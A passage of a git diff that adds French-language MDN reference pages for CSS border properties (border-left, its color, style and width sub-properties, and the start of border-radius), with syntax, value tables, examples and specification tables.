+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline", "border-inline")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.border-inline")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques qui peuvent correspondre à cette propriété logique :
+  <ul>
+   <li>{{cssxref("border-top")}},</li>
+   <li>{{cssxref("border-right")}},</li>
+   <li>{{cssxref("border-bottom")}},</li>
+   <li>{{cssxref("border-left")}}.</li>
+  </ul>
+ </li>
+ <li>Les propriétés relatives aux propriétés logiques : {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-left-color/index.html b/files/fr/web/css/border-left-color/index.html
new file mode 100644
index 0000000000..974ccbd709
--- /dev/null
+++ b/files/fr/web/css/border-left-color/index.html
@@ -0,0 +1,128 @@
+---
+title: border-left-color
+slug: Web/CSS/border-left-color
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-left-color
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-left-color</code></strong> permet de définir la couleur utilisée pour la bordure gauche d'un élément.</p>
+
+<p>Pour avoir une formulation plus concise, on pourra utiliser les propriétés raccourcies {{cssxref("border-color")}} et/ou {{cssxref("border-left")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-left-color.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de type &lt;color&gt; */
+border-left-color: red;
+border-left-color: rgb(255, 128, 0);
+border-left-color: hsla(100%, 50%, 25%, 0.75);
+border-left-color: #ffbb00;
+border-left-color: currentColor;
+border-left-color: transparent;
+
+/* Valeurs globales */
+border-left-color: inherit;
+border-left-color: initial;
+border-left-color: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>&lt;<code>color&gt;</code></dt>
+ <dd>Une valeur de couleur (type {{cssxref("&lt;color&gt;")}}) qui décrit la couleur utilisée pour la bordure du côté gauche.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.maboite {
+  border: solid 0.3em gold;
+  border-left-color: red;
+  width: auto;
+}
+
+.texterouge {
+  color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="maboite"&gt;
+  &lt;p&gt;Une boîte avec une bordure autour.
+     Notez le côté de la boîte qui est
+     &lt;span class="texterouge"&gt;rouge&lt;/span&gt;.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-color', 'border-color')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Pas de modification significative, la valeur <code>transparent</code> a été supprimée car elle fait désormais partie du type {{cssxref("&lt;color&gt;")}} qui a été étendu.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-color-properties', 'border-left-color')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-left-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés raccourcies liées aux bordures
+  <ul>
+   <li>{{cssxref("border")}},</li>
+   <li>{{cssxref("border-left")}},</li>
+   <li>{{cssxref("border-color")}}.</li>
+  </ul>
+ </li>
+ <li>Les propriétés de couleur pour les autres bordures :
+  <ul>
+   <li>{{cssxref("border-top-color")}},</li>
+   <li>{{cssxref("border-bottom-color")}},</li>
+   <li>{{cssxref("border-right-color")}}.</li>
+  </ul>
+ </li>
+ <li>Les autres propriétés liées à la bordure gauche :
+  <ul>
+   <li>{{cssxref("border-left-style")}},</li>
+   <li>{{cssxref("border-left-width")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-left-style/index.html b/files/fr/web/css/border-left-style/index.html
new file mode 100644
index 0000000000..f677494c11
--- /dev/null
+++ b/files/fr/web/css/border-left-style/index.html
@@ -0,0 +1,228 @@
+---
+title: border-left-style
+slug: Web/CSS/border-left-style
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-left-style
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété<strong> <code>border-left-style</code></strong> définit le style de ligne utilisé pour mettre en forme la bordure sur le côté gauche d'une boîte.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-left-style.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note"><strong>Note :</strong> La spécification ne définit pas la façon dont les bordures de différents styles se rejoignent dans les coins.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+border-left-style: none;
+border-left-style: hidden;
+border-left-style: dotted;
+border-left-style: dashed;
+border-left-style: solid;
+border-left-style: double;
+border-left-style: groove;
+border-left-style: ridge;
+border-left-style: inset;
+border-left-style: outset;
+
+/* Valeurs globales */
+border-left-style: inherit;
+border-left-style: initial;
+border-left-style: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;br-style&gt;</code></dt>
+ <dd>Un mot-clé décrivant la forme qu'on souhaite avoir pour la bordure du côté gauche. Il peut prendre l'une des valeurs suivantes :
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>none</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-left-style: none; background-color: palegreen;"> </div>
+    </td>
+    <td>L'effet obtenu est le même qu'avec <code>hidden</code> : aucune bordure n'est affichée. Dans ce cas, sauf si une image d'arrière-plan est définie, la valeur calculée de {{cssxref("border-left-width")}} sera <code>0</code>, même si cette dernière indique une autre valeur. Lorsqu'utilisée sur une cellule d'un tableau avec la fusion des bordures, <code>none</code> a la priorité la plus basse donc si une autre bordure est définie et fusionne avec celle-ci, elle sera  affichée.</td>
+   </tr>
+   <tr>
+    <td><code>hidden</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-left-style: hidden; background-color: palegreen;"> </div>
+    </td>
+    <td>L'effet obtenu est le même qu'avec <code>none</code> : aucune bordure n'est affichée. Dans ce cas, sauf si une image d'arrière-plan est définie, la valeur calculée de {{cssxref("border-left-width")}} sera <code>0</code>, même si cette dernière indique une autre valeur. Lorsqu'utilisée sur une cellule d'un tableau avec la fusion des bordures, <code>hidden</code> a la plus haute priorité et donc si une autre bordure est définie et fusionne avec celle-ci, aucune ne sera  affichée.</td>
+   </tr>
+   <tr>
+    <td><code>dotted</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-left-style: dotted; background-color: palegreen;"> </div>
+    </td>
+    <td>Affiche une série de points ronds. L'espace entre ces points n'est pas défini par la spécification et est donc laissé à l'implémentation. Le rayon des points correspond à la moitié de {{cssxref("border-left-width")}}.</td>
+   </tr>
+   <tr>
+    <td><code>dashed</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-left-style: dashed; background-color: palegreen;"> </div>
+    </td>
+    <td>Affiche une série de tirets. La taille de ces tirets n'est pas définie par la spécification et est laissée à l'implémentation.</td>
+   </tr>
+   <tr>
+    <td><code>solid</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-left-style: solid; background-color: palegreen;"> </div>
+    </td>
+    <td>Affiche une ligne droite continue.</td>
+   </tr>
+   <tr>
+    <td><code>double</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-left-style: double; background-color: palegreen;"> </div>
+    </td>
+    <td>Deux lignes droites sont affichées dont la somme des épaisseurs correspond à la valeur fournie par {{cssxref("border-width")}} ou {{cssxref("border-left-width")}}.</td>
+   </tr>
+   <tr>
+    <td><code>groove</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-left-style: groove; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure crée un effet 3D donnant l'impression qu'elle a été gravée dans le document. On obtient un effet opposé à <code>ridge</code>.</td>
+   </tr>
+   <tr>
+    <td><code>ridge</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-left-style: ridge; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure crée un effet 3D donnant l'impression que la bordure ressort du document. L'effet obtenu est opposé à celui obtenu avec <code>groove</code>.</td>
+   </tr>
+   <tr>
+    <td><code>inset</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-left-style: inset; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure crée un effet 3D qui donne l'impression que la boîte est renfoncée dans le document (l'effet obtenu est opposé à celui obtenu avec <code>outset</code>). Lorsqu'elle est appliquée sur une cellule de tableau et que {{cssxref("border-collapse")}} vaut <code>collapsed</code>, cette valeur se comporte comme <code>groove</code>.</td>
+   </tr>
+   <tr>
+    <td><code>outset</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-left-style: outset; background-color: palegreen;"> </div>
+    </td>
+    <td>
+     <p>La bordure crée un effet 3D qui fait ressortir la boîte (l'effet est opposé à <code>inset</code>). Lorsqu'elle est utilisé sur une cellule de tableau avec {{cssxref("border-collapse")}} qui vaut <code>collapsed</code>, cette valeur se comporte comme <code>ridge</code>.</p>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* On applique un style sur le tableau */
+table {
+  border-width: 2px;
+  background-color: #52E385;
+}
+tr, td {
+  padding: 3px;
+}
+
+/* Des exemples pour border-left-style */
+.b1 {border-left-style:none;}
+.b2 {border-left-style:hidden;}
+.b3 {border-left-style:dotted;}
+.b4 {border-left-style:dashed;}
+.b5 {border-left-style:solid;}
+.b6 {border-left-style:double;}
+.b7 {border-left-style:groove;}
+.b8 {border-left-style:ridge;}
+.b9 {border-left-style:inset;}
+.b10 {border-left-style:outset;}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td class="b1"&gt;none&lt;/td&gt;
+    &lt;td class="b2"&gt;hidden&lt;/td&gt;
+    &lt;td class="b3"&gt;petits points&lt;/td&gt;
+    &lt;td class="b4"&gt;tirets&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b5"&gt;solid&lt;/td&gt;
+    &lt;td class="b6"&gt;double&lt;/td&gt;
+    &lt;td class="b7"&gt;groove&lt;/td&gt;
+    &lt;td class="b8"&gt;ridge&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b9"&gt;inset&lt;/td&gt;
+    &lt;td class="b10"&gt;outset&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 300, 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-left-style')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-left-style')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-left-style")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres propriétés liées au style des bordures :
+  <ul>
+   <li>{{cssxref("border-right-style")}}</li>
+   <li>{{cssxref("border-top-style")}}</li>
+   <li>{{cssxref("border-bottom-style")}}</li>
+   <li>{{cssxref("border-style")}}.</li>
+  </ul>
+ </li>
+ <li>Les autres propriétés liées à la bordure gauche :
+  <ul>
+   <li>{{cssxref("border-left")}}</li>
+   <li>{{cssxref("border-left-color")}}</li>
+   <li>{{cssxref("border-left-width")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-left-width/index.html b/files/fr/web/css/border-left-width/index.html
new file mode 100644
index 0000000000..047c1c5968
--- /dev/null
+++ b/files/fr/web/css/border-left-width/index.html
@@ -0,0 +1,169 @@
+---
+title: border-left-width
+slug: Web/CSS/border-left-width
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-left-width
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-left-width</code></strong> définit l'épaisseur de la bordure pour le côté gauche d'un élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-left-width.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Une valeur de longueur */
+/* Type &lt;length&gt;          */
+border-left-width: 10em;
+border-left-width: 3vmax;
+border-left-width: 6px;
+
+/* Valeurs avec un mot-clé */
+border-left-width: thin;
+border-left-width: medium;
+border-left-width: thick;
+
+/* Valeurs globales */
+border-left-width: inherit;
+border-left-width: initial;
+border-left-width: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt;</code></dt>
+ <dd>Une valeur de longueur ({{cssxref("&lt;length&gt;")}}) positive ou un mot-clé qui indique l'épaisseur de la bordure pour le côté gauche de la boîte. Si la valeur est un mot-clé, ce doit être l'une des valeurs suivantes :
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>thin</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-left-style: solid; border-left-width: thin; background-color: palegreen;"> </div>
+    </td>
+    <td>Une bordure fine.</td>
+   </tr>
+   <tr>
+    <td><code>medium</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-left-style: solid; border-left-width: medium; background-color: palegreen;"> </div>
+    </td>
+    <td>Une bordure moyenne.</td>
+   </tr>
+   <tr>
+    <td><code>thick</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-left-style: solid; border-left-width: thick; background-color: palegreen;"> </div>
+    </td>
+    <td>Une bordure épaisse.</td>
+   </tr>
+  </tbody>
+ </table>
+ La spécification ne précise pas de façon exacte l'épaisseur correspondant à chacun de ces mots-clés (c'est donc à chaque implémentation de choisir). La spécification requiert toutefois que l'inégalité suivante soit respectée <code>thin ≤ medium ≤ thick</code> et que ces valeurs soient constantes pour un même document<code>.</code></dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.element1{
+  border-left-width: thick;
+  border-left-style: solid;
+  border-left-color: red;
+}
+.element2{
+  border-left-width: medium;
+  border-left-style: solid;
+  border-left-color: orange;
+}
+.element3{
+  border-left-width: thin;
+  border-left-style: solid;
+  border-left-color: green;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="element1"&gt;
+  Une bordure épaisse rouge.
+&lt;/p&gt;
+
+&lt;p class="element2"&gt;
+  Une bordure moyenne orange.
+&lt;/p&gt;
+
+&lt;p class="element3"&gt;
+  Et une bordure fine verte.
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-left-width')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Pas de modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-left-width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Pas de modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-left-width', 'border-left-width')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-left-width")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres propriétés liées à la largeur de la bordure :
+  <ul>
+   <li>{{cssxref("border-right-width")}},</li>
+   <li>{{cssxref("border-top-width")}},</li>
+   <li>{{cssxref("border-bottom-width")}},</li>
+   <li>{{cssxref("border-width")}}</li>
+  </ul>
+ </li>
+ <li>Les autres propriétés CSS liées à la bordure du côté gauche :
+  <ul>
+   <li>{{cssxref("border")}},</li>
+   <li>{{cssxref("border-left")}},</li>
+   <li>{{cssxref("border-left-style")}},</li>
+   <li>{{cssxref("border-left-color")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-left/index.html b/files/fr/web/css/border-left/index.html
new file mode 100644
index 0000000000..8ba3a36011
--- /dev/null
+++ b/files/fr/web/css/border-left/index.html
@@ -0,0 +1,126 @@
+---
+title: border-left
+slug: Web/CSS/border-left
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-left
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-left</code></strong> est une propriété raccourcie qui permet de définir la bordure gauche d'un élément</p>
+
+<p>Cette propriété raccourcie définit les valeurs des propriétés détaillées suivantes :</p>
+
+<ul>
+ <li>{{cssxref("border-left-width")}},</li>
+ <li>{{cssxref("border-left-style")}},</li>
+ <li>{{cssxref("border-left-color")}}.</li>
+</ul>
+
+<p>Ces propriétés permettent de décrire la bordure du côté gauche d'un élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-left.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les trois valeurs de la propriété raccourcie peuvent être définies dans n'importe quel ordre et une ou deux d'entre elles peuvent être absentes.</p>
+
+<p>Comme pour les autres propriétés raccourcies, <code>border-left</code> définit toujours les valeurs de toutes les propriétés qu'elle peut définir, même si celles-ci ne sont pas indiquées. Pour les valeurs qui ne sont pas indiquées, on prendra les valeurs par défaut. Ainsi :</p>
+
+<pre class="brush:css">  border-left-style: dotted;
+  border-left: thick green;
+</pre>
+
+<p>est équivalent à :</p>
+
+<pre class="brush:css">  border-left-style: dotted;
+  border-left: none thick green;
+</pre>
+
+<p> et la valeur {{cssxref("border-left-style")}} fournie avant <code>border-left</code> est ignorée.</p>
+
+<p>La valeur par défaut de {{cssxref("border-left-style")}} étant <code>none</code>, si on ne définit pas le style de la bordure, on aura la valeur par défaut, c'est-à-dire qu'on aura aucune bordure.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">border-left: 1px;
+border-left: 2px dotted;
+border-left: medium dashed green;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt; </code></dt>
+ <dd>Voir {{cssxref("border-left-width")}}.</dd>
+ <dt><code>&lt;br-style&gt; </code></dt>
+ <dd>Voir {{cssxref("border-left-style")}}.</dd>
+ <dt><code>&lt;color&gt; </code></dt>
+ <dd>Voir {{cssxref("border-left-color")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  border-left: 3px dotted orange;
+} </pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;
+  En passant elle prit sur un rayon un pot
+  de confiture portant cette étiquette,
+  « MARMELADE D’ORANGES. »
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","150")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-left', 'border-left')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Pas de modification directe bien que la modification de valeurs pour {{cssxref("border-left-color")}} s'applique.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-left', 'border-left')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-left', 'border-left')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-left")}}</p>
diff --git a/files/fr/web/css/border-radius/index.html b/files/fr/web/css/border-radius/index.html
new file mode 100644
index 0000000000..0966c69e16
--- /dev/null
+++ b/files/fr/web/css/border-radius/index.html
@@ -0,0 +1,256 @@
+---
+title: border-radius
+slug: Web/CSS/border-radius
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - Web
+translation_of: Web/CSS/border-radius
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-radius</code></strong> permet de définir des coins arrondis pour la bordure d'un élément. La courbure de chaque coin est définie avec un ou deux rayons de courbures qui permettent de définir un arc de cercle ou un arc d'ellipse.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-radius.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La courbure s'applique à l'arrière-plan (défini avec la propriété {{cssxref("background")}}) même si l'élément n'a aucune bordure. Le rognage de l'arrière plan s'applique sur la boîte définie par {{cssxref("background-clip")}}.</p>
+
+<p>Cette propriété est une <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">propriété raccourcie</a> qui permet de définir :</p>
+
+<ul>
+ <li>{{cssxref("border-top-left-radius")}},</li>
+ <li>{{cssxref("border-top-right-radius")}},</li>
+ <li>{{cssxref("border-bottom-right-radius")}},</li>
+ <li>{{cssxref("border-bottom-left-radius")}}.</li>
+</ul>
+
+<p>La propriété <code>border-radius</code> ne s'applique pas aux tableaux lorsque {{cssxref("border-collapse")}} vaut <code>collapse</code>.</p>
+
+<div class="note"><strong>Note :</strong> Comme pour les autres propriétés raccourcies, il n'est pas possible d'hériter de valeurs individuelles (par exemple (<code>border-radius:0 0 inherit inherit</code> pour surcharger les définitions existantes). Si on souhaite avoir un comportement de ce type, on devra utiliser les propriétés détaillées.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers"><strong>/* Quand on utilise un seul rayon, on peut avoir jusqu'à quatre valeurs */</strong>
+/* On utilise le même rayon pour les quatre angles */
+border-radius: 10px;
+
+/* 1. coin en haut à gauche et en bas à droite     */
+/* 2. puis coin en haut à droit et en bas à gauche */
+border-radius: 10px 5%;
+
+/* 1. coin en haut à gauche                    */
+/* 2. coin en haut à droite et en bas à gauche */
+/* 3. coin en bas à droite                     */
+border-radius: 2px 4px 2px;
+
+/* 1. coin en haut à gauche */
+/* 2. coin en haut à droite */
+/* 3. coin en bas à droite  */
+/* 4. coin en bas à gauche  */
+border-radius: 1px 0 3px 4px;
+
+<strong>/* En utilisant deux rayons, on peut avoir jusqu'à quatre valeurs          */</strong>
+<strong>/* On sépare les rayons horizontaux des verticaux par une barre oblique    */</strong>
+/* rayons horizontaux (cf. ci-avant) <strong>/</strong> rayon vertical pour tous les angles */
+border-radius: 10px 5% / 20px;
+
+/* rayons horizontaux puis <strong>/</strong> puis rayons verticaux */
+/* 1. coin en haut à gauche et en bas à droite     */
+/* 2. puis coin en haut à droit et en bas à gauche */
+border-radius: 10px 5% / 20px 30px;
+
+/* rayons horizontaux puis <strong>/</strong> puis rayons verticaux */
+/* 1. coin en haut à gauche                        */
+/* 2. coin en haut à droite et en bas à gauche     */
+/* 3. coin en bas à droite                         */
+border-radius: 10px 5px 2em / 20px 25px 30%;
+
+/* rayons horizontaux puis <strong>/</strong> puis rayons verticaux */
+/* 1. coin en haut à gauche                        */
+/* 2. coin en haut à droite                        */
+/* 3. coin en bas à droite                         */
+/* 4. coin en bas à gauche                         */
+border-radius: 10px 5% / 20px 25em 30px 35em;
+
+/* Valeurs globales */
+border-radius: inherit;
+border-radius: initial;
+border-radius: unset;
+</pre>
+
+<p>La propriété <code>border-radius</code> peut être définie avec :</p>
+
+<ul>
+ <li>une, deux, trois voire quatre valeurs de longueur (<code><a href="#length">&lt;length&gt;</a></code>) ou de pourcentages (<code><a href="#percentage">&lt;percentage&gt;</a></code>). Ces valeurs sont utilisées pour désigner un rayon de courbure pour chaque angle.</li>
+ <li>puis éventuellement une barre oblique (/) suivie d'une, deux, trois ou quatre valeurs de longueur ou de pourcentage qui permettent de définir un rayon de courbure supplémentaire pour créer des coins elliptiques.</li>
+</ul>
+
